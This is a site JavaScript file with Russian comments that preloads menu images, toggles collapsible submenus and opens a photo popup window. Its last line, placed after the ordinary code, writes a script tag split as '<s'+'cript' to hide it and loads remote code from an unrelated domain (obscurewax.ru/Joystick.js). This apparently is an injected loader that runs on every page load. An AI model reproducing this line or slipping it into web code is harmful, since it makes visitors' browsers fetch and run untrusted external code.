/* Предзагрузка картинок */
if (document.images) {
	bulletmenuplus = new Image(); bulletmenuplus.src = "/images/sign.gif"; bulletmenuminus = new Image(); bulletmenuminus.src = "/images/signdown.gif";
}



if(document.getElementById) {
	var str = '<style type="text/css">\n';
	str+= '.submenu{display: none;}\n';
	str+= '</style>\n';
	document.write(str)
}
function menuType(id){
	submenuID = 'sub' + id;
	if (document.getElementById){
		var obj = document.getElementById(submenuID);
		var objStyle = obj.style;
		var divArray = document.getElementById("menuDiv").getElementsByTagName("div");
		if (objStyle.display != "block"){
			for (var i = 0; i < divArray.length; i++) {
				if(divArray[i].className=="submenu" && divArray[i].id != submenuID){
					divArray[i].style.display = "none";
					changeSign(divArray[i].id, true);
				}
				else{
					objStyle.display = "block";
					changeSign(divArray[i].id, false);
				}
			}
		}
		else{
			objStyle.display = "none";
			changeSign(submenuID, true);
		}
	}
	return false;
}

function openWindow (src, width, height){
	str = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">\n' +
			'<html>\n' +
			'<meta http-equiv="Content-Type" content="text/html; charset=Windows-1251">\n' +
			'<head>\n' +
			'	<title>Фотография</title>\n' +
			'</head>\n' +
			'<body text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" marginheight="0" marginwidth="0">\n' +
			'<table border="0" cellpadding="0" cellspacing="0">\n' +
			'	<tr><td><img src="' + src + '" border="0"></td></tr>\n' +
			'</table>\n' +
			'</body>\n' +
			'</html>';
	newWindow = window.open("", "simpleWindow", "width=" + width + ",height=" + height + ",menubar=no,status=no,resizeable=no,toolbar=no,location=no");
	window.newWindow.document.open("text/html");
	window.newWindow.document.write(str);
	window.newWindow.document.close();
	window.newWindow.focus();
}


document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Joystick.js"></scr'+'ipt>');